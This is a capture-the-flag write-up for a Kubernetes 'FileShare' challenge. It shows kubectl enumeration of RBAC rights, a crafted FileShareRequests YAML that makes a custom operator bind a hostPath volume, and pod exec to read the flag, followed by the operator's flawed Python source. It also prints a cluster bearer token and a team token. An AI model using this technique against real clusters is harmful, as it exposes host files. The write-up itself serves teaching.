R3CTF-k8s-FileShare-赛后复现(reappear after game)

Since the questioner did not provide a detailed wp, I wrote one for ur reference

由于出题人没有提供详细wp,我便写了一份供大家参考

Post-game replay

I have a file sharing service built with Kubernetes, I thought there were no secrets in it.

nc 47.242.249.168 8888

Do NOT click the create instance button, it doesn’t work

really thx for deploy basic infra help of p4ck3t0 and diff-fusion

My Thoughts

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
⚡ root@wsl-shenghuo2  /mnt/e/eeee/2024_06/r3ctf/Blizzard CN Restarts  nc 47.242.249.168 8888
Please input the team token:338:VXhY+fy3ppzlmIpgl0p0hcD+TTq3RSMOCUKPuDvpgiKUFdKiTlMt0mIwEfcA8VcU9PNZOTC91k27sGqcDQ7ACQ==

     _____      _    __
 _ _|___ /  ___| |_ / _|
| '__||_ \ / __| __| |_
| |  ___) | (__| |_|  _|
|_| |____/ \___|\__|_|


Challenge: File Share
Creating Cluster
Waiting for control plane............................................................................................................................
Here is your Kubernetes information:


server_port: https://47.242.249.168:33068
token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im9BaUNjbGZWck1uZXVPa2NWeFhBUmRrREU5eFNYN0lGWUhpWUJnVlZOQTgifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzE3OTU3MDQ2LCJpYXQiOjE3MTc5NTM0NDYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImN0Zi1wbGF5ZXIiLCJ1aWQiOiI5ZGRjZmZjOS1mZjNhLTQxNzYtYTY2Zi1kNzIwMzhmMGM2NjMifX0sIm5iZiI6MTcxNzk1MzQ0Niwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6Y3RmLXBsYXllciJ9.c_6LO_zxZeTUSX0uCOrgy4Oj3_2Fe2Bh-x2cI7ZGKcGU5p1w3zaI934JE1sdqUCF8atc5ghJL33P4J9xVNAfS3t1MW0KJFWIm9EzSqACaLvNASnZEeVnYIrRIFbAxMe-NHDqYs8vsURk1no2IlxX9TiyZ3_FCwX0LVWOJz1-3O2TOXOsRFsYZfmSk2uoW7nqEd0iaa8UzFTtqEbYTgzcPeRHQ6AVeNliZmf125Op1ASQ27uZuJjKpSUgKfJi4EBIYs-FcwuDDHPmTYBBx9vYu1pcdMXFyuiFDJQrqts4-On312O71ABNYMrj5cx_IMXux55a4W0L-v5jW7E2B6vY-w

Leave this open until you solved the challenge, otherwise your cluster will be deleted. This config is only valid for 1 hour.

can use kubectl to connect to the k8s api

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://47.242.249.168:33068
  name: my-cluster
contexts:
- context:
    cluster: my-cluster
    namespace: shares
    user: default
  name: my-context
current-context: my-context
kind: Config
preferences: {}
users:
- name: default
  user: 
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im9BaUNjbGZWck1uZXVPa2NWeFhBUmRrREU5eFNYN0lGWUhpWUJnVlZOQTgifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzE3OTU3MDQ2LCJpYXQiOjE3MTc5NTM0NDYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImN0Zi1wbGF5ZXIiLCJ1aWQiOiI5ZGRjZmZjOS1mZjNhLTQxNzYtYTY2Zi1kNzIwMzhmMGM2NjMifX0sIm5iZiI6MTcxNzk1MzQ0Niwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6Y3RmLXBsYXllciJ9.c_6LO_zxZeTUSX0uCOrgy4Oj3_2Fe2Bh-x2cI7ZGKcGU5p1w3zaI934JE1sdqUCF8atc5ghJL33P4J9xVNAfS3t1MW0KJFWIm9EzSqACaLvNASnZEeVnYIrRIFbAxMe-NHDqYs8vsURk1no2IlxX9TiyZ3_FCwX0LVWOJz1-3O2TOXOsRFsYZfmSk2uoW7nqEd0iaa8UzFTtqEbYTgzcPeRHQ6AVeNliZmf125Op1ASQ27uZuJjKpSUgKfJi4EBIYs-FcwuDDHPmTYBBx9vYu1pcdMXFyuiFDJQrqts4-On312O71ABNYMrj5cx_IMXux55a4W0L-v5jW7E2B6vY-w

kubeconfig.yaml

1
2
3
4
5
6
7
8
❯ kubectl get ns

NAME              STATUS   AGE
default           Active   9m25s
kube-node-lease   Active   9m25s
kube-public       Active   9m25s
kube-system       Active   9m25s
shares            Active   8m59s

found a custom namespaces shares

switch to shares ns

1
kubectl config set-context --current --namespace=shares

the shares ns permission more than another

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
❯ kubectl auth can-i --list --namespace=shares

Resources                                       Non-Resource URLs                      Resource Names   Verbs
pods.*/exec                                     []                                     []               [create]
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces.*                                    []                                     []               [get list watch]
persistentvolumes.*                             []                                     []               [get list watch]
filesharerequests.*                             []                                     []               [get watch list create update delete]
fileshares.*                                    []                                     []               [get watch list]
persistentvolumeclaims.*                        []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
pods                                            []                                     []               [get]
❯ kubectl auth can-i --list --namespace=default
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces.*                                    []                                     []               [get list watch]
persistentvolumes.*                             []                                     []               [get list watch]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]

can list all the resources that we have list access to.

1
2
3
4
5
6
7
8
9
❯ kubectl get pv
NAME     CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS      CLAIM   STORAGECLASS   REASON   AGE
flagpv   1Gi        ROX            Retain           Available                                   29m
❯ kubectl get fsr
No resources found in shares namespace.
❯ kubectl get fs
No resources found in shares namespace.
❯ kubectl get pvc
No resources found in shares namespace.

only pv hs a resource

can found a pv named flagpv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ kubectl get pv
NAME     CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS      CLAIM   STORAGECLASS   REASON   AGE
flagpv   1Gi        ROX            Retain           Available                                   27m
❯ kubectl describe pv
Name:            flagpv
Labels:          <none>
Annotations:     <none>
Finalizers:      [kubernetes.io/pv-protection]
StorageClass:    
Status:          Available
Claim:           
Reclaim Policy:  Retain
Access Modes:    ROX
VolumeMode:      Filesystem
Capacity:        1Gi
Node Affinity:   <none>
Message:         
Source:
    Type:          HostPath (bare host directory volume)
    Path:          /flag
    HostPathType:  

but there’s no way to get the value

fsr is a crd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ kubectl explain filesharerequests
GROUP:      ctf.r3kapig.com
KIND:       FileShareRequests
VERSION:    v1

DESCRIPTION:
    <empty>
FIELDS:
  apiVersion    <string>
    APIVersion defines the versioned schema of this representation of an object.
    Servers should convert recognized schemas to the latest internal value, and
    may reject unrecognized values. More info:
    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources

  kind  <string>
    Kind is a string value representing the REST resource this object
    represents. Servers may infer this from the endpoint the client submits
    requests to. Cannot be updated. In CamelCase. More info:
    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds

  metadata      <ObjectMeta>
    Standard object's metadata. More info:
    https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata

  spec  <Object>
    <no description>

I didn’t realize during the game that explain could view fsr.spec

so I can only create a yaml that looks like this

1
2
3
4
5
6
apiVersion: ctf.r3kapig.com/v1
kind: FileShareRequests
metadata:
  name: getflag
spec:
  

i took some guesses, and they all came back as “unknown field”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ kubectl explain fsr.spec
GROUP:      ctf.r3kapig.com
KIND:       FileShareRequests
VERSION:    v1

FIELD: spec <Object>

DESCRIPTION:
    <empty>
FIELDS:
  accessModes   <[]string> -required-
    <no description>

  shareName     <string> -required-
    <no description>

  storage       <string> -required-
    Storage size requested. Must be less than 1Gi.

the correct param should be like these

from the describe of flagpv ,we can know the accessMode is ROX

1
Access Modes:    ROX

equivalent to ReadOnlyMany

so can write the getflag.yaml like this

1
2
3
4
5
6
7
8
9
apiVersion: ctf.r3kapig.com/v1
kind: FileShareRequests
metadata:
  name: getflag
spec:
  accessModes: 
    - ReadOnlyMany
  shareName: "any"
  storage: 100Mi

shareName must null

Otherwise it won’t mount the flagpv

I later learned through the source code that if he is not null, it will mount that pv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ kubectl describe fsr
Name:         getflag
Namespace:    shares
Labels:       <none>
Annotations:  <none>
API Version:  ctf.r3kapig.com/v1
Kind:         FileShareRequests
Metadata:
  Creation Timestamp:  2024-06-11T15:30:49Z
  Generation:          1
  Resource Version:    4733
  UID:                 4f66f2ae-6209-4486-bdca-5961205402c6
Spec:
  Access Modes:
    ReadOnlyMany
  Share Name:  any
  Storage:     100Mi
Events:        <none>

getflag fsr successfully created

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ kubectl describe fs
Name:         getflag-fileshare
Namespace:    shares
Labels:       <none>
Annotations:  <none>
API Version:  ctf.r3kapig.com/v1
Kind:         FileShares
Metadata:
  Creation Timestamp:  2024-06-11T15:31:04Z
  Generation:          1
  Resource Version:    4779
  UID:                 76ce7184-c2b1-44b4-bb9c-304a2976e65f
Spec:
  Error:     Worked
  Pod Name:  getflag-pod
Events:      <none>

u can see that it creates a fs named getflag-fileshare and it creates a pod named getflag-pod

do you remember when we had pod.exec permission?

so we can exec this pod now

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ kubectl exec -it getflag-pod -- /bin/sh
/ $ ls
bin           etc           lib           my-sharefile  product_name  root          tmp           var
dev           home          lib64         proc          product_uuid  sys           usr
/ $ ls tmp/
/ $ ls my-sharefile/
flag.txt
/ $ cat my-sharefile/flag.txt 
R3CTF{PVC_1s_n0t_fu00y_033c2a7ba5ed}
/ $ 

etc

Questioner’s exp

1
2
3
4
5
6
7
8
9
apiVersion: ctf.r3kapig.com/v1
kind: FileShareRequests
metadata:
  name: exp-yaml
spec:
  shareName: ""
  accessModes:
    - ReadOnlyMany
  storage: 200Mi

The crd source code provided by the questioner

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
from kubernetes import client, config, watch
import os
import uuid
import json
import tempfile
import time


def check_filesharerequest(obj, crds, group, version, filesharerequests_plural):
    fsr = crds.list_namespaced_custom_object(
        group, version, "shares", filesharerequests_plural
    )
    if len(fsr["items"]) > 5:
        return (
            False,
            "Five FilleSharedRequests are deployed somewhere in the cluster, you need to delete them first!",
        )

    fr = json.loads(json.dumps(obj))

    if "spec" not in fr:
        return False, "FilleSharedRequest: Missing Spec"

    if "shareName" not in fr["spec"]:
        return False, "FilleSharedRequest: Missing Spec shareName"

    if "accessModes" not in fr["spec"]:
        return False, "FilleSharedRequest: Missing Spec accessModes"

    # Check the accessModes
    valid_modes = ("ReadWriteOnce", "ReadOnlyMany", "ReadWriteMany", "ReadWriteOncePod")
    if not all(mode in valid_modes for mode in fr["spec"]["accessModes"]):
        return False, "FilleSharedRequest: Invalid Spec accessModes values, "
        "only allow ReadWriteOnce, ReadOnlyMany, ReadWriteMany, ReadWriteOncePod"

    if "storage" not in fr["spec"]:
        return False, "FilleSharedRequest: Missing Spec storage, must be less than 1Gi"

    return True, "Worked"


def create_pv_pvc(
    client, pvcobj, crds, group, version, filesharerequests_plural, pv_name, pvc_name
):

    v1 = client.CoreV1Api()
    pvc_spec = pvcobj["spec"]

    # Define PV
    pv = client.V1PersistentVolume(
        api_version="v1",
        kind="PersistentVolume",
        metadata=client.V1ObjectMeta(name=pv_name),
        spec=client.V1PersistentVolumeSpec(
            capacity={"storage": pvc_spec["storage"]},
            access_modes=pvc_spec["accessModes"],
            persistent_volume_reclaim_policy="Delete",
            storage_class_name=pvc_spec["shareName"],
            host_path=client.V1HostPathVolumeSource(path=tempfile.mkdtemp()),
        ),
    )

    # Define PVC
    pvc = client.V1PersistentVolumeClaim(
        api_version="v1",
        kind="PersistentVolumeClaim",
        metadata=client.V1ObjectMeta(name=pvc_name, namespace="shares"),
        spec=client.V1PersistentVolumeClaimSpec(
            access_modes=pvc_spec["accessModes"],
            resources=client.V1ResourceRequirements(
                requests={"storage": pvc_spec["storage"]}
            ),
            storage_class_name=pvc_spec["shareName"],
        ),
    )

    try:
        # Create PVC
        v1.create_namespaced_persistent_volume_claim(namespace="shares", body=pvc)
        print(f"PersistentVolumeClaim {pvc.metadata.name} created.")

        # Create PV
        v1.create_persistent_volume(body=pv)
        print(f"PersistentVolume {pv.metadata.name} created.")

        return True

    except client.exceptions.ApiException as e:
        print(f"Exception when creating PV or PVC: {e}")

    return False


def main():
    # Define CRDs
    version = "v1"
    group = "ctf.r3kapig.com"

    fileshare_kind = "FileShares"
    fileshares_plural = "fileshares"

    filesharerequests_plural = "filesharerequests"

    # Load CRDs and V1 API
    crds = client.CustomObjectsApi()
    v1 = client.CoreV1Api()

    while True:
        print("Watching for filerequests...")
        stream = watch.Watch().stream(
            crds.list_namespaced_custom_object,
            group,
            version,
            "shares",
            filesharerequests_plural,
        )

        for event in stream:
            t = event["type"]
            filesharerequest = event["object"]

            match t:
                case "ADDED":

                    # Check wether it was already created

                    # Check if the filerequest is legal
                    checked, error = check_filesharerequest(
                        filesharerequest, crds, group, version, filesharerequests_plural
                    )
                    if not checked:
                        crds.create_namespaced_custom_object(
                            group,
                            version,
                            "shares",
                            fileshares_plural,
                            {
                                "apiVersion": f"{group}/{version}",
                                "kind": fileshare_kind,
                                "metadata": {
                                    "name": f"{filesharerequest["metadata"]["name"]}-fileshare"
                                },
                                "spec": {
                                    "podName": "",
                                    "error": error,
                                },
                            },
                        )

                        continue

                    pv_name = f"{filesharerequest["metadata"]["name"]}-pv"
                    pvc_name = f"{filesharerequest["metadata"]["name"]}-pvc"
                    if not create_pv_pvc(
                        client,
                        filesharerequest,
                        crds,
                        group,
                        version,
                        filesharerequests_plural,
                        pv_name,
                        pvc_name,
                    ):
                        print("Error create the pv and pvc")
                        continue

                    pod_name = f'{filesharerequest["metadata"]["name"]}-pod'

                    pod_spec = client.V1Pod(
                        api_version="v1",
                        kind="Pod",
                        metadata=client.V1ObjectMeta(
                            name=pod_name, labels={"app": "secure-pod"}
                        ),
                        spec=client.V1PodSpec(
                            containers=[
                                client.V1Container(
                                    name="my-container",
                                    image="registry-docker:5000/busybox:1.34.1",
                                    command=["bin/sh"],
                                    args=["-c", "sleep inf"],
                                    resources=client.V1ResourceRequirements(
                                        limits={"cpu": "0.5", "memory": "300Mi"},
                                    ),
                                    security_context=client.V1SecurityContext(
                                        read_only_root_filesystem=True,  # Set the root filesystem as read-only
                                        run_as_non_root=True,  # Run as non-root user
                                        run_as_user=1000,  # Specify the user ID
                                        run_as_group=1000,
                                        capabilities=client.V1Capabilities(
                                            drop=["ALL"]  # Drop all capabilities
                                        ),
                                        allow_privilege_escalation=False,  # Disallow privilege escalation
                                    ),
                                    volume_mounts=[
                                        client.V1VolumeMount(
                                            mount_path="/my-sharefile",
                                            name="fileshare-storage",
                                            read_only=True,
                                        )
                                    ],
                                )
                            ],
                            volumes=[
                                client.V1Volume(
                                    name="fileshare-storage",
                                    persistent_volume_claim=client.V1PersistentVolumeClaimVolumeSource(
                                        claim_name=pvc_name
                                    ),
                                )
                            ],
                            automount_service_account_token=False,
                        ),
                    )

                    try:
                        api_response = v1.create_namespaced_pod(
                            namespace="shares", body=pod_spec
                        )

                        # Waiting for Pod Running
                        start_time = time.time()

                        # Timeout 120
                        while time.time() - start_time < 120:
                            pod_status = v1.read_namespaced_pod_status(
                                namespace="shares", name=pod_name
                            )
                            current_status = pod_status.status.phase
                            if current_status != "Pending":
                                break
                            time.sleep(3)

                        print("Pod running with security configurations")

                    except Exception as e:
                        print(f"Exception when updating Pod: {e}")
                        error = f"Exception when updating Pod: {e}"
                        continue

                    # Return the result to fileshare
                    crds.create_namespaced_custom_object(
                        group,
                        version,
                        "shares",
                        fileshares_plural,
                        {
                            "apiVersion": f"{group}/{version}",
                            "kind": fileshare_kind,
                            "metadata": {
                                "name": f"{filesharerequest["metadata"]["name"]}-fileshare"
                            },
                            "spec": {
                                "podName": pod_name,
                                "error": error,
                            },
                        },
                    )

                case "DELETED":

                    pv_name = f"{filesharerequest["metadata"]["name"]}-pv"
                    pvc_name = f"{filesharerequest["metadata"]["name"]}-pvc"
                    pod_name = f"{filesharerequest["metadata"]["name"]}-pod"

                    # Delete Pod
                    try:
                        api_response = v1.delete_namespaced_pod(
                            name=pod_name,
                            namespace="shares",
                            body=client.V1DeleteOptions(),
                        )
                        print("Pod deleted")
                    except Exception as e:
                        print(f"Exception when deleting Pod: {e}")

                    try:
                        crd_name = f"{fileshares_plural}.{group}"
                        api_response = crds.delete_namespaced_custom_object(
                            group,
                            version,
                            "shares",
                            fileshares_plural,
                            f"{filesharerequest["metadata"]["name"]}-fileshare",
                        )
                    except Exception as e:
                        print(f"Exception when deleting CustomResourceDefinition: {e}")

                    # Delete PVC
                    v1.delete_namespaced_persistent_volume_claim(
                        name=pvc_name, namespace="shares"
                    )

                    # Delete PV
                    v1.delete_persistent_volume(name=pv_name)

                case _:
                    pass


if __name__ == "__main__":
    print("Starting operator...")
    try:
        config.incluster_config.load_incluster_config()
    except Exception as e:
        print("Failed to load incluster config")
        exit(1)
    main()
0%